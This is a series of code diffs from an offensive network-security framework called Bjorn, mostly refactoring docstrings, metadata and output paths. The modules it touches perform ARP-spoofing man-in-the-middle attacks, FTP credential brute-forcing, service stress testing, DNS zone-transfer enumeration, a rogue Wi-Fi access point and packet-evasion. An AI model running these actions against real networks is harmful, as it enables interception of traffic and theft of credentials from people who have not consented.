from init_shared import shared_data
# Graceful shutdown on SIGTERM (user clicks Stop in the UI)
def _sigterm(signum, frame):
print("[runner] SIGTERM received, requesting graceful stop...")
shared_data.orchestrator_should_exit = True
signal.signal(signal.SIGTERM, _sigterm)
# Inject extra CLI flags as shared_data attributes
# e.g. --berserker-mode tcp -> shared_data.berserker_mode = "tcp"
_inject_extra_args(shared_data, remaining)
# Dynamic import (custom/ paths use dots: actions.custom.my_script)
module_path = f"actions.{args.b_module.replace('/', '.')}"
print(f"[runner] Importing {module_path}...")
module = importlib.import_module(module_path)
action_class = getattr(module, args.b_class)
# Instantiate with shared_data (same as orchestrator)
action_instance = action_class(shared_data)
# Resolve MAC from DB if not provided
mac = args.mac
if not mac and args.ip:
try:
rows = shared_data.db.query(
"SELECT \"MAC Address\" FROM hosts WHERE IPs = ? LIMIT 1",
(args.ip,)
)
if rows:
mac = rows[0].get("MAC Address", "") or ""
except Exception:
mac = ""
# Build row dict (matches orchestrator.py:609-614)
ip = args.ip or ""
port = args.port or ""
row = {
"MAC Address": mac or "",
"IPs": ip,
"Ports": port,
"Alive": 1,
}
# Execute
print(f"[runner] Executing {args.b_class} on {ip or 'global'}:{port}...")
if hasattr(action_instance, "scan") and not ip:
# Global action (e.g. NetworkScanner)
action_instance.scan()
result = "success"
else:
if not ip:
print(f"[runner] ERROR: {args.b_class} requires --ip but none provided")
sys.exit(1)
result = action_instance.execute(ip, port, row, args.b_class)
print(f"[runner] Finished with result: {result}")
sys.exit(0 if result == "success" else 1)
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\n[runner] Interrupted")
sys.exit(130)
except Exception:
traceback.print_exc()
sys.exit(2)

View File

@@ -1,18 +1,4 @@
# action_scheduler.py testsdd """action_scheduler.py - Trigger evaluation, queue management, and dedup for scheduled actions."""
# Smart Action Scheduler for Bjorn - queue-only implementation
# Handles trigger evaluation, requirements checking, and queue management.
#
# Invariants we enforce:
# - At most ONE "active" row per (action_name, mac_address, COALESCE(port,0))
# where active ∈ {'scheduled','pending','running'}.
# - Retries for failed entries are coordinated by cleanup_queue() (with backoff)
# and never compete with trigger-based enqueues.
#
# Runtime knobs (from shared.py):
# shared_data.retry_success_actions : bool (default False)
# shared_data.retry_failed_actions : bool (default True)
#
# These take precedence over cooldown / rate-limit for NON-interval triggers.
from __future__ import annotations from __future__ import annotations
@@ -82,6 +68,9 @@ class ActionScheduler:
self._last_cache_refresh = 0.0 self._last_cache_refresh = 0.0
self._cache_ttl = 60.0 # seconds self._cache_ttl = 60.0 # seconds
# Lock for global action evaluation (must be created here, not lazily)
self._globals_lock = threading.Lock()
# Memory for global actions # Memory for global actions
self._last_global_runs: Dict[str, float] = {} self._last_global_runs: Dict[str, float] = {}
# Actions Studio last source type # Actions Studio last source type
@@ -133,7 +122,7 @@ class ActionScheduler:
# Keep queue consistent with current enable/disable flags. # Keep queue consistent with current enable/disable flags.
self._cancel_queued_disabled_actions() self._cancel_queued_disabled_actions()
# 1) Promote scheduled actions that are due (always queue hygiene) # 1) Promote scheduled actions that are due (always - queue hygiene)
self._promote_scheduled_to_pending() self._promote_scheduled_to_pending()
# When LLM autonomous mode owns scheduling, skip trigger evaluation # When LLM autonomous mode owns scheduling, skip trigger evaluation
@@ -158,7 +147,7 @@ class ActionScheduler:
if not _llm_skip: if not _llm_skip:
if _llm_wants_skip and _queue_empty: if _llm_wants_skip and _queue_empty:
logger.info("Scheduler: LLM queue empty heuristic fallback active") logger.info("Scheduler: LLM queue empty - heuristic fallback active")
# 2) Publish next scheduled occurrences for interval actions # 2) Publish next scheduled occurrences for interval actions
self._publish_all_upcoming() self._publish_all_upcoming()
@@ -170,7 +159,7 @@ class ActionScheduler:
else: else:
logger.debug("Scheduler: trigger evaluation skipped (LLM autonomous owns scheduling)") logger.debug("Scheduler: trigger evaluation skipped (LLM autonomous owns scheduling)")
# 5) Queue maintenance (always starvation prevention + cleanup) # 5) Queue maintenance (always - starvation prevention + cleanup)
self.cleanup_queue() self.cleanup_queue()
self.update_priorities() self.update_priorities()
@@ -768,8 +757,6 @@ class ActionScheduler:
def _evaluate_global_actions(self): def _evaluate_global_actions(self):
"""Evaluate and queue global actions with on_start trigger.""" """Evaluate and queue global actions with on_start trigger."""
self._globals_lock = getattr(self, "_globals_lock", threading.Lock())
with self._globals_lock: with self._globals_lock:
try: try:
for action in self._action_definitions.values(): for action in self._action_definitions.values():

View File

@@ -1,14 +1,34 @@
"""IDLE.py - No-op placeholder action for idle state."""
from shared import SharedData from shared import SharedData
b_class = "IDLE" b_class = "IDLE"
b_module = "idle" b_module = "idle"
b_status = "IDLE" b_status = "IDLE"
b_enabled = 0
b_action = "normal"
b_trigger = None
b_port = None
b_service = "[]"
b_priority = 0
b_timeout = 60
b_cooldown = 0
b_name = "IDLE"
b_description = "No-op placeholder action representing idle state."
b_author = "Bjorn Team"
b_version = "1.0.0"
b_max_retries = 0
b_stealth_level = 10
b_risk_level = "low"
b_tags = ["idle", "placeholder"]
b_category = "system"
b_icon = "IDLE.png"
class IDLE: class IDLE:
def __init__(self, shared_data): def __init__(self, shared_data):
self.shared_data = shared_data self.shared_data = shared_data
def execute(self, ip, port, row, status_key) -> str:
"""No-op action. Always returns success."""
return "success"

View File

@@ -1,15 +1,6 @@
""" """arp_spoofer.py - Bidirectional ARP cache poisoning for MITM positioning.
arp_spoofer.py — ARP Cache Poisoning for Man-in-the-Middle positioning.
Ethical cybersecurity lab action for Bjorn framework. Spoofs target<->gateway ARP entries; auto-restores tables on exit.
Performs bidirectional ARP spoofing between a target host and the network
gateway. Restores ARP tables on completion or interruption.
SQL mode:
- Orchestrator provides (ip, port, row) for the target host.
- Gateway IP is auto-detected from system routing table or shared config.
- Results persisted to JSON output and logged for RL training.
- Fully integrated with EPD display (progress, status, comments).
""" """
import os import os
@@ -104,7 +95,7 @@ class ARPSpoof:
from scapy.all import ARP, Ether, sendp, sr1 # noqa: F401 from scapy.all import ARP, Ether, sendp, sr1 # noqa: F401
self._scapy_ok = True self._scapy_ok = True
except ImportError: except ImportError:
logger.error("scapy not available ARPSpoof will not function") logger.error("scapy not available - ARPSpoof will not function")
self._scapy_ok = False self._scapy_ok = False
# ─────────────────── Identity Cache ────────────────────── # ─────────────────── Identity Cache ──────────────────────
@@ -231,7 +222,7 @@ class ARPSpoof:
logger.error(f"Cannot detect gateway for ARP spoof on {ip}") logger.error(f"Cannot detect gateway for ARP spoof on {ip}")
return "failed" return "failed"
if gateway_ip == ip: if gateway_ip == ip:
logger.warning(f"Target {ip} IS the gateway skipping") logger.warning(f"Target {ip} IS the gateway - skipping")
return "failed" return "failed"
logger.info(f"ARP Spoof: target={ip} gateway={gateway_ip}") logger.info(f"ARP Spoof: target={ip} gateway={gateway_ip}")
@@ -252,7 +243,7 @@ class ARPSpoof:
return "failed" return "failed"
self.shared_data.bjorn_progress = "20%" self.shared_data.bjorn_progress = "20%"
logger.info(f"Resolved target_mac={target_mac}, gateway_mac={gateway_mac}") logger.info(f"Resolved - target_mac={target_mac}, gateway_mac={gateway_mac}")
self.shared_data.log_milestone(b_class, "PoisonActive", f"MACs resolved, starting spoof") self.shared_data.log_milestone(b_class, "PoisonActive", f"MACs resolved, starting spoof")
# 3) Spoofing loop # 3) Spoofing loop
@@ -263,7 +254,7 @@ class ARPSpoof:
while (time.time() - start_time) < duration: while (time.time() - start_time) < duration:
if self.shared_data.orchestrator_should_exit: if self.shared_data.orchestrator_should_exit:
logger.info("Orchestrator exit stopping ARP spoof") logger.info("Orchestrator exit - stopping ARP spoof")
break break
self._send_arp_poison(ip, target_mac, gateway_ip, iface) self._send_arp_poison(ip, target_mac, gateway_ip, iface)
self._send_arp_poison(gateway_ip, gateway_mac, ip, iface) self._send_arp_poison(gateway_ip, gateway_mac, ip, iface)

View File

@@ -1,19 +1,8 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
""" """berserker_force.py - Rate-limited service stress testing with degradation analysis.
berserker_force.py -- Service resilience / stress testing (Pi Zero friendly, orchestrator compatible).
What it does: Measures baseline response times, applies light load (max 50 req/s), then reports per-port degradation.
- Phase 1 (Baseline): Measures TCP connect response times per port (3 samples each).
- Phase 2 (Stress Test): Runs a rate-limited load test using TCP connect, optional SYN probes
(scapy), HTTP probes (urllib), or mixed mode.
- Phase 3 (Post-stress): Re-measures baseline to detect degradation.
- Phase 4 (Analysis): Computes per-port degradation percentages, writes a JSON report.
This is NOT a DoS tool. It sends measured, rate-limited probes and records how the
target's response times change under light load. Max 50 req/s to stay RPi-safe.
Output is saved to data/output/stress/<ip>_<timestamp>.json
""" """
import json import json
@@ -115,8 +104,8 @@ b_examples = [
b_docs_url = "docs/actions/BerserkerForce.md" b_docs_url = "docs/actions/BerserkerForce.md"
# -------------------- Constants ----------------------------------------------- # -------------------- Constants -----------------------------------------------
_DATA_DIR = "/home/bjorn/Bjorn/data" _DATA_DIR = None # Resolved at runtime via shared_data.data_dir
OUTPUT_DIR = os.path.join(_DATA_DIR, "output", "stress") OUTPUT_DIR = None # Resolved at runtime via shared_data.data_dir
_BASELINE_SAMPLES = 3 # TCP connect samples per port for baseline _BASELINE_SAMPLES = 3 # TCP connect samples per port for baseline
_CONNECT_TIMEOUT_S = 2.0 # socket connect timeout _CONNECT_TIMEOUT_S = 2.0 # socket connect timeout
@@ -428,15 +417,16 @@ class BerserkerForce:
def _save_report(self, ip: str, mode: str, duration_s: int, rate: int, analysis: Dict) -> str: def _save_report(self, ip: str, mode: str, duration_s: int, rate: int, analysis: Dict) -> str:
"""Write the JSON report and return the file path.""" """Write the JSON report and return the file path."""
output_dir = os.path.join(self.shared_data.data_dir, "output", "stress")
try: try:
os.makedirs(OUTPUT_DIR, exist_ok=True) os.makedirs(output_dir, exist_ok=True)
except Exception as exc: except Exception as exc:
logger.warning(f"Could not create output dir {OUTPUT_DIR}: {exc}") logger.warning(f"Could not create output dir {output_dir}: {exc}")
ts = datetime.now(timezone.utc).strftime("%Y-%m-%d_%H-%M-%S") ts = datetime.now(timezone.utc).strftime("%Y-%m-%d_%H-%M-%S")
safe_ip = ip.replace(":", "_").replace(".", "_") safe_ip = ip.replace(":", "_").replace(".", "_")
filename = f"{safe_ip}_{ts}.json" filename = f"{safe_ip}_{ts}.json"
filepath = os.path.join(OUTPUT_DIR, filename) filepath = os.path.join(output_dir, filename)
report = { report = {
"tool": "berserker_force", "tool": "berserker_force",

View File

@@ -1,3 +1,5 @@
"""bruteforce_common.py - Shared helpers for all bruteforce actions (progress tracking, password generation)."""
import itertools import itertools
import threading import threading
import time import time

View File

View File

@@ -0,0 +1,105 @@
"""example_bjorn_action.py - Custom action template using the Bjorn action format."""
import time
import logging
from logger import Logger
logger = Logger(name="example_bjorn_action", level=logging.DEBUG)
# ---- Bjorn action metadata (required for Bjorn format detection) ----
b_class = "ExampleBjornAction"
b_module = "custom/example_bjorn_action"
b_name = "Example Bjorn Action"
b_description = "Demo custom action with shared_data access and DB queries."
b_author = "Bjorn Community"
b_version = "1.0.0"
b_action = "custom"
b_enabled = 1
b_priority = 50
b_port = None
b_service = None
b_trigger = None
b_parent = None
b_cooldown = 0
b_rate_limit = None
b_tags = '["custom", "example", "template"]'
# ---- Argument schema (drives the web UI controls) ----
b_args = {
"target_ip": {
"type": "text",
"default": "192.168.1.1",
"description": "Target IP address to probe"
},
"scan_count": {
"type": "number",
"default": 3,
"min": 1,
"max": 100,
"description": "Number of probe iterations"
},
"verbose": {
"type": "checkbox",
"default": False,
"description": "Enable verbose output"
},
"mode": {
"type": "select",
"choices": ["quick", "normal", "deep"],
"default": "normal",
"description": "Scan depth"
}
}
b_examples = [
{"name": "Quick local scan", "args": {"target_ip": "192.168.1.1", "scan_count": 1, "mode": "quick"}},
{"name": "Deep scan", "args": {"target_ip": "10.0.0.1", "scan_count": 10, "mode": "deep", "verbose": True}},
]
class ExampleBjornAction:
"""Custom Bjorn action with full shared_data access."""
def __init__(self, shared_data):
self.shared_data = shared_data
logger.info("ExampleBjornAction initialized")
def execute(self, ip, port, row, status_key):
"""Main entry point called by action_runner / orchestrator.
Args:
ip: Target IP address
port: Target port (may be empty)
row: Dict with MAC Address, IPs, Ports, Alive
status_key: Action class name (for status tracking)
Returns:
'success' or 'failed'
"""
verbose = getattr(self.shared_data, "verbose", False)
scan_count = int(getattr(self.shared_data, "scan_count", 3))
mode = getattr(self.shared_data, "mode", "normal")
print(f"[*] Running ExampleBjornAction on {ip} (mode={mode}, count={scan_count})")
# Example: query DB for known hosts
try:
host_count = self.shared_data.db.query_one(
"SELECT COUNT(1) c FROM hosts"
)
print(f"[*] Known hosts in DB: {host_count['c'] if host_count else 0}")
except Exception as e:
print(f"[!] DB query failed: {e}")
# Simulate work
for i in range(scan_count):
if getattr(self.shared_data, "orchestrator_should_exit", False):
print("[!] Stop requested, aborting")
return "failed"
print(f"[*] Probe {i+1}/{scan_count} on {ip}...")
if verbose:
print(f" MAC={row.get('MAC Address', 'unknown')} mode={mode}")
time.sleep(1)
print(f"[+] Done. {scan_count} probes completed on {ip}")
return "success"

View File

@@ -0,0 +1,97 @@
"""example_free_script.py - Custom script template using plain Python (no shared_data)."""
import argparse
import time
import sys
# ---- Display metadata (optional, used by the web UI) ----
b_name = "Example Free Script"
b_description = "Standalone Python script demo with argparse and progress output."
b_author = "Bjorn Community"
b_version = "1.0.0"
b_tags = '["custom", "example", "template", "free"]'
# ---- Argument schema (drives the web UI controls, same format as Bjorn actions) ----
b_args = {
"target": {
"type": "text",
"default": "192.168.1.0/24",
"description": "Target host or CIDR range"
},
"timeout": {
"type": "number",
"default": 5,
"min": 1,
"max": 60,
"description": "Timeout per probe in seconds"
},
"output_format": {
"type": "select",
"choices": ["text", "json", "csv"],
"default": "text",
"description": "Output format"
},
"dry_run": {
"type": "checkbox",
"default": False,
"description": "Simulate without actually probing"
}
}
b_examples = [
{"name": "Quick local check", "args": {"target": "192.168.1.1", "timeout": 2, "output_format": "text"}},
{"name": "Dry run JSON", "args": {"target": "10.0.0.0/24", "timeout": 5, "output_format": "json", "dry_run": True}},
]
def main():
parser = argparse.ArgumentParser(description="Example free-form Bjorn custom script")
parser.add_argument("--target", default="192.168.1.0/24", help="Target host or CIDR")
parser.add_argument("--timeout", type=int, default=5, help="Timeout per probe (seconds)")
parser.add_argument("--output-format", default="text", choices=["text", "json", "csv"])
parser.add_argument("--dry-run", action="store_true", help="Simulate without probing")
args = parser.parse_args()
print(f"[*] Example Free Script starting")
print(f"[*] Target: {args.target}")
print(f"[*] Timeout: {args.timeout}s")
print(f"[*] Format: {args.output_format}")
print(f"[*] Dry run: {args.dry_run}")
print()
# Simulate some work with progress output
steps = 5
for i in range(steps):
print(f"[*] Step {i+1}/{steps}: {'simulating' if args.dry_run else 'probing'} {args.target}...")
time.sleep(1)
# Example output in different formats
results = [
{"host": "192.168.1.1", "status": "up", "latency": "2ms"},
{"host": "192.168.1.100", "status": "up", "latency": "5ms"},
]
if args.output_format == "json":
import json
print(json.dumps(results, indent=2))
elif args.output_format == "csv":
print("host,status,latency")
for r in results:
print(f"{r['host']},{r['status']},{r['latency']}")
else:
for r in results:
print(f" {r['host']} {r['status']} ({r['latency']})")
print()
print(f"[+] Done. Found {len(results)} hosts.")
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\n[!] Interrupted")
sys.exit(130)
except Exception as e:
print(f"\n[!] Error: {e}")
sys.exit(1)

View File

@@ -1,9 +1,5 @@
# demo_action.py """demo_action.py - Minimal template action that prints its arguments."""
# Demonstration Action: wrapped in a DemoAction class
# ---------------------------------------------------------------------------
# Metadata (compatible with sync_actions / Neo launcher)
# ---------------------------------------------------------------------------
b_class = "DemoAction" b_class = "DemoAction"
b_module = "demo_action" b_module = "demo_action"
b_enabled = 1 b_enabled = 1
@@ -14,6 +10,19 @@ b_description = "Demonstration action: simply prints the received arguments."
b_author = "Template" b_author = "Template"
b_version = "0.1.0" b_version = "0.1.0"
b_icon = "demo_action.png" b_icon = "demo_action.png"
b_status = "demo_action"
b_port = None
b_service = "[]"
b_trigger = None
b_parent = None
b_priority = 0
b_cooldown = 0
b_rate_limit = None
b_timeout = 60
b_max_retries = 0
b_stealth_level = 10
b_risk_level = "low"
b_tags = ["demo", "template", "test"]
b_examples = [ b_examples = [
{ {
@@ -129,6 +138,8 @@ def _list_net_ifaces() -> list[str]:
names.update(ifname for ifname in psutil.net_if_addrs().keys() if ifname != "lo") names.update(ifname for ifname in psutil.net_if_addrs().keys() if ifname != "lo")
except Exception: except Exception:
pass pass
if os.name == "nt":
return ["Ethernet", "Wi-Fi"]
try: try:
for n in os.listdir("/sys/class/net"): for n in os.listdir("/sys/class/net"):
if n and n != "lo": if n and n != "lo":
@@ -183,7 +194,8 @@ class DemoAction:
def execute(self, ip=None, port=None, row=None, status_key=None): def execute(self, ip=None, port=None, row=None, status_key=None):
"""Called by the orchestrator. This demo only prints arguments.""" """Called by the orchestrator. This demo only prints arguments."""
self.shared_data.bjorn_orch_status = "DemoAction" self.shared_data.bjorn_orch_status = "DemoAction"
self.shared_data.comment_params = {"ip": ip, "port": port} # EPD live status
self.shared_data.comment_params = {"status": "running"}
print("=== DemoAction :: executed ===") print("=== DemoAction :: executed ===")
print(f" IP/Target: {ip}:{port}") print(f" IP/Target: {ip}:{port}")

View File

@@ -1,19 +1,4 @@
""" """dns_pillager.py - DNS recon: reverse lookups, record enumeration, zone transfers, subdomain brute."""
dns_pillager.py - DNS reconnaissance and enumeration action for Bjorn.
Performs comprehensive DNS intelligence gathering on discovered hosts:
- Reverse DNS lookup on target IP
- Full DNS record enumeration (A, AAAA, MX, NS, TXT, CNAME, SOA, SRV, PTR)
- Zone transfer (AXFR) attempts against discovered nameservers
- Subdomain brute-force enumeration with threading
SQL mode:
- Targets provided by the orchestrator (ip + port)
- IP -> (MAC, hostname) mapping read from DB 'hosts'
- Discovered hostnames are written back to DB hosts table
- Results saved as JSON in data/output/dns/
- Action status recorded in DB.action_results (via DNSPillager.execute)
"""
import os import os
import json import json
@@ -29,7 +14,6 @@ from concurrent.futures import ThreadPoolExecutor, as_completed
from shared import SharedData from shared import SharedData
from logger import Logger from logger import Logger
# Configure the logger
logger = Logger(name="dns_pillager.py", level=logging.DEBUG) logger = Logger(name="dns_pillager.py", level=logging.DEBUG)
# --------------------------------------------------------------------------- # ---------------------------------------------------------------------------

View File

@@ -48,12 +48,12 @@ b_args = {
"input_dir": { "input_dir": {
"type": "text", "type": "text",
"label": "Input Data Dir", "label": "Input Data Dir",
"default": "/home/bjorn/Bjorn/data/output" "default": "data/output"
}, },
"output_dir": { "output_dir": {
"type": "text", "type": "text",
"label": "Reports Dir", "label": "Reports Dir",
"default": "/home/bjorn/Bjorn/data/reports" "default": "data/reports"
}, },
"watch": { "watch": {
"type": "checkbox", "type": "checkbox",
@@ -92,7 +92,8 @@ class FreyaHarvest:
with self.lock: with self.lock:
self.data[cat].append(finds) self.data[cat].append(finds)
new_findings += 1 new_findings += 1
except: pass except Exception:
logger.debug(f"Failed to read {f_path}")
if new_findings > 0: if new_findings > 0:
logger.info(f"FreyaHarvest: Collected {new_findings} new intelligence items.") logger.info(f"FreyaHarvest: Collected {new_findings} new intelligence items.")
@@ -123,20 +124,30 @@ class FreyaHarvest:
self.shared_data.log_milestone(b_class, "ReportGenerated", f"MD: {os.path.basename(out_file)}") self.shared_data.log_milestone(b_class, "ReportGenerated", f"MD: {os.path.basename(out_file)}")
def execute(self, ip, port, row, status_key) -> str: def execute(self, ip, port, row, status_key) -> str:
input_dir = getattr(self.shared_data, "freya_harvest_input", b_args["input_dir"]["default"]) # Reset per-run state to prevent memory accumulation
output_dir = getattr(self.shared_data, "freya_harvest_output", b_args["output_dir"]["default"]) self.data.clear()
self.last_scan_time = 0
_data_dir = getattr(self.shared_data, "data_dir", "/home/bjorn/Bjorn/data")
_default_input = os.path.join(_data_dir, "output")
_default_output = os.path.join(_data_dir, "reports")
input_dir = getattr(self.shared_data, "freya_harvest_input", _default_input)
output_dir = getattr(self.shared_data, "freya_harvest_output", _default_output)
watch = getattr(self.shared_data, "freya_harvest_watch", True) watch = getattr(self.shared_data, "freya_harvest_watch", True)
fmt = getattr(self.shared_data, "freya_harvest_format", "all") fmt = getattr(self.shared_data, "freya_harvest_format", "all")
timeout = int(getattr(self.shared_data, "freya_harvest_timeout", 600)) timeout = int(getattr(self.shared_data, "freya_harvest_timeout", 600))
logger.info(f"FreyaHarvest: Starting data harvest from {input_dir}") logger.info(f"FreyaHarvest: Starting data harvest from {input_dir}")
self.shared_data.log_milestone(b_class, "Startup", "Monitoring intelligence directories") self.shared_data.log_milestone(b_class, "Startup", "Monitoring intelligence directories")
# EPD live status
self.shared_data.comment_params = {"input": os.path.basename(input_dir), "items": "0"}
start_time = time.time() start_time = time.time()
try: try:
while time.time() - start_time < timeout: while time.time() - start_time < timeout:
if self.shared_data.orchestrator_should_exit: if self.shared_data.orchestrator_should_exit:
break logger.info("FreyaHarvest: Interrupted by orchestrator.")
return "interrupted"
self._collect_data(input_dir) self._collect_data(input_dir)
self._generate_report(output_dir, fmt) self._generate_report(output_dir, fmt)
@@ -145,6 +156,9 @@ class FreyaHarvest:
elapsed = int(time.time() - start_time) elapsed = int(time.time() - start_time)
prog = int((elapsed / timeout) * 100) prog = int((elapsed / timeout) * 100)
self.shared_data.bjorn_progress = f"{prog}%" self.shared_data.bjorn_progress = f"{prog}%"
# EPD live status update
total_items = sum(len(v) for v in self.data.values())
self.shared_data.comment_params = {"input": os.path.basename(input_dir), "items": str(total_items)}
if not watch: if not watch:
break break
@@ -156,6 +170,9 @@ class FreyaHarvest:
except Exception as e: except Exception as e:
logger.error(f"FreyaHarvest error: {e}") logger.error(f"FreyaHarvest error: {e}")
return "failed" return "failed"
finally:
self.shared_data.bjorn_progress = ""
self.shared_data.comment_params = {}
return "success" return "success"

View File

@@ -1,10 +1,4 @@
""" ftp_bruteforce.py - Threaded FTP credential bruteforcer, results stored in DB.
ftp_bruteforce.py — FTP bruteforce (DB-backed, no CSV/JSON, no rich)
- Cibles: (ip, port) par l’orchestrateur
- IP -> (MAC, hostname) via DB.hosts
- Succès -> DB.creds (service='ftp')
- Conserve la logique d’origine (queue/threads, sleep éventuels, etc.)
"""
import os import os
import threading import threading
@@ -28,11 +22,24 @@ b_parent = None
b_service = '["ftp"]' b_service = '["ftp"]'
b_trigger = 'on_any:["on_service:ftp","on_new_port:21"]' b_trigger = 'on_any:["on_service:ftp","on_new_port:21"]'
b_priority = 70 b_priority = 70
b_cooldown = 1800 # 30 minutes entre deux runs b_cooldown = 1800 # 30 min between runs
b_rate_limit = '3/86400' # 3 fois par jour max b_rate_limit = '3/86400' # max 3 per day
b_enabled = 1
b_action = "normal"
b_timeout = 600
b_max_retries = 2
b_stealth_level = 3
b_risk_level = "medium"
b_tags = ["bruteforce", "ftp", "credentials"]
b_category = "exploitation"
b_name = "FTP Bruteforce"
b_description = "Threaded FTP credential bruteforcer with share enumeration."
b_author = "Bjorn Team"
b_version = "2.0.0"
b_icon = "FTPBruteforce.png"
class FTPBruteforce: class FTPBruteforce:
"""Wrapper orchestrateur -> FTPConnector.""" """Orchestrator wrapper for FTPConnector."""
def __init__(self, shared_data): def __init__(self, shared_data):
self.shared_data = shared_data self.shared_data = shared_data
@@ -40,11 +47,11 @@ class FTPBruteforce:
logger.info("FTPConnector initialized.") logger.info("FTPConnector initialized.")
def bruteforce_ftp(self, ip, port): def bruteforce_ftp(self, ip, port):
"""Lance le bruteforce FTP pour (ip, port).""" """Run FTP bruteforce for (ip, port)."""
return self.ftp_bruteforce.run_bruteforce(ip, port) return self.ftp_bruteforce.run_bruteforce(ip, port)
def execute(self, ip, port, row, status_key): def execute(self, ip, port, row, status_key):
"""Point d'entrée orchestrateur (retour 'success' / 'failed').""" """Orchestrator entry point. Returns 'success' or 'failed'."""
self.shared_data.bjorn_orch_status = "FTPBruteforce" self.shared_data.bjorn_orch_status = "FTPBruteforce"
self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)} self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)}
logger.info(f"Brute forcing FTP on {ip}:{port}...") logger.info(f"Brute forcing FTP on {ip}:{port}...")
@@ -53,12 +60,11 @@ class FTPBruteforce:
class FTPConnector: class FTPConnector:
"""Gère les tentatives FTP, persistance DB, mapping IPâ†(MAC, Hostname).""" """Handles FTP attempts, DB persistence, and IP->(MAC, Hostname) mapping."""
def __init__(self, shared_data): def __init__(self, shared_data):
self.shared_data = shared_data self.shared_data = shared_data
# Wordlists inchangées
self.users = self._read_lines(shared_data.users_file) self.users = self._read_lines(shared_data.users_file)
self.passwords = self._read_lines(shared_data.passwords_file) self.passwords = self._read_lines(shared_data.passwords_file)
@@ -71,7 +77,7 @@ class FTPConnector:
self.queue = Queue() self.queue = Queue()
self.progress = None self.progress = None
# ---------- util fichiers ---------- # ---------- file utils ----------
@staticmethod @staticmethod
def _read_lines(path: str) -> List[str]: def _read_lines(path: str) -> List[str]:
try: try:
@@ -186,7 +192,7 @@ class FTPConnector:
self.progress.advance(1) self.progress.advance(1)
self.queue.task_done() self.queue.task_done()
# Pause configurable entre chaque tentative FTP # Configurable delay between FTP attempts
if getattr(self.shared_data, "timewait_ftp", 0) > 0: if getattr(self.shared_data, "timewait_ftp", 0) > 0:
time.sleep(self.shared_data.timewait_ftp) time.sleep(self.shared_data.timewait_ftp)
@@ -267,7 +273,8 @@ class FTPConnector:
self.results = [] self.results = []
def removeduplicates(self): def removeduplicates(self):
pass """No longer needed with unique DB index; kept for interface compat."""
# Dedup handled by DB UNIQUE constraint + ON CONFLICT in save_results
if __name__ == "__main__": if __name__ == "__main__":

View File

@@ -119,6 +119,14 @@ class HeimdallGuard:
return packet return packet
def execute(self, ip, port, row, status_key) -> str: def execute(self, ip, port, row, status_key) -> str:
if not HAS_SCAPY:
logger.error("HeimdallGuard requires scapy but it is not installed.")
return "failed"
# Reset per-run state
self.stats = {'packets_processed': 0, 'packets_fragmented': 0, 'timing_adjustments': 0}
self.packet_queue.clear()
iface = getattr(self.shared_data, "heimdall_guard_interface", conf.iface) iface = getattr(self.shared_data, "heimdall_guard_interface", conf.iface)
mode = getattr(self.shared_data, "heimdall_guard_mode", "all") mode = getattr(self.shared_data, "heimdall_guard_mode", "all")
delay = float(getattr(self.shared_data, "heimdall_guard_delay", 1.0)) delay = float(getattr(self.shared_data, "heimdall_guard_delay", 1.0))
@@ -126,6 +134,8 @@ class HeimdallGuard:
logger.info(f"HeimdallGuard: Engaging stealth mode ({mode}) on {iface}") logger.info(f"HeimdallGuard: Engaging stealth mode ({mode}) on {iface}")
self.shared_data.log_milestone(b_class, "StealthActive", f"Mode: {mode}") self.shared_data.log_milestone(b_class, "StealthActive", f"Mode: {mode}")
# EPD live status
self.shared_data.comment_params = {"ip": ip, "mode": mode, "iface": iface}
self.active = True self.active = True
start_time = time.time() start_time = time.time()
@@ -133,10 +143,8 @@ class HeimdallGuard:
try: try:
while time.time() - start_time < timeout: while time.time() - start_time < timeout:
if self.shared_data.orchestrator_should_exit: if self.shared_data.orchestrator_should_exit:
break logger.info("HeimdallGuard: Interrupted by orchestrator.")
return "interrupted"
# In a real scenario, this would be hooking into a packet stream
# For this action, we simulate protection state
# Progress reporting # Progress reporting
elapsed = int(time.time() - start_time) elapsed = int(time.time() - start_time)
@@ -158,6 +166,8 @@ class HeimdallGuard:
return "failed" return "failed"
finally: finally:
self.active = False self.active = False
self.shared_data.bjorn_progress = ""
self.shared_data.comment_params = {}
return "success" return "success"

View File

@@ -12,6 +12,7 @@ import subprocess
import threading import threading
import time import time
import re import re
import tempfile
import datetime import datetime
from typing import Any, Dict, List, Optional from typing import Any, Dict, List, Optional
@@ -126,7 +127,7 @@ class LokiDeceiver:
'rsn_pairwise=CCMP' 'rsn_pairwise=CCMP'
]) ])
h_path = '/tmp/bjorn_hostapd.conf' h_path = os.path.join(tempfile.gettempdir(), 'bjorn_hostapd.conf')
with open(h_path, 'w') as f: with open(h_path, 'w') as f:
f.write('\n'.join(h_conf)) f.write('\n'.join(h_conf))
@@ -140,7 +141,7 @@ class LokiDeceiver:
'log-queries', 'log-queries',
'log-dhcp' 'log-dhcp'
] ]
d_path = '/tmp/bjorn_dnsmasq.conf' d_path = os.path.join(tempfile.gettempdir(), 'bjorn_dnsmasq.conf')
with open(d_path, 'w') as f: with open(d_path, 'w') as f:
f.write('\n'.join(d_conf)) f.write('\n'.join(d_conf))
@@ -170,10 +171,16 @@ class LokiDeceiver:
channel = int(getattr(self.shared_data, "loki_deceiver_channel", 6)) channel = int(getattr(self.shared_data, "loki_deceiver_channel", 6))
password = getattr(self.shared_data, "loki_deceiver_password", "") password = getattr(self.shared_data, "loki_deceiver_password", "")
timeout = int(getattr(self.shared_data, "loki_deceiver_timeout", 600)) timeout = int(getattr(self.shared_data, "loki_deceiver_timeout", 600))
output_dir = getattr(self.shared_data, "loki_deceiver_output", "/home/bjorn/Bjorn/data/output/wifi") _fallback_dir = os.path.join(getattr(self.shared_data, "data_dir", "/home/bjorn/Bjorn/data"), "output", "wifi")
output_dir = getattr(self.shared_data, "loki_deceiver_output", _fallback_dir)
# Reset per-run state
self.active_clients.clear()
logger.info(f"LokiDeceiver: Starting Rogue AP '{ssid}' on {iface}") logger.info(f"LokiDeceiver: Starting Rogue AP '{ssid}' on {iface}")
self.shared_data.log_milestone(b_class, "Startup", f"Creating AP: {ssid}") self.shared_data.log_milestone(b_class, "Startup", f"Creating AP: {ssid}")
# EPD live status
self.shared_data.comment_params = {"ssid": ssid, "iface": iface, "channel": str(channel)}
try: try:
self.stop_event.clear() self.stop_event.clear()
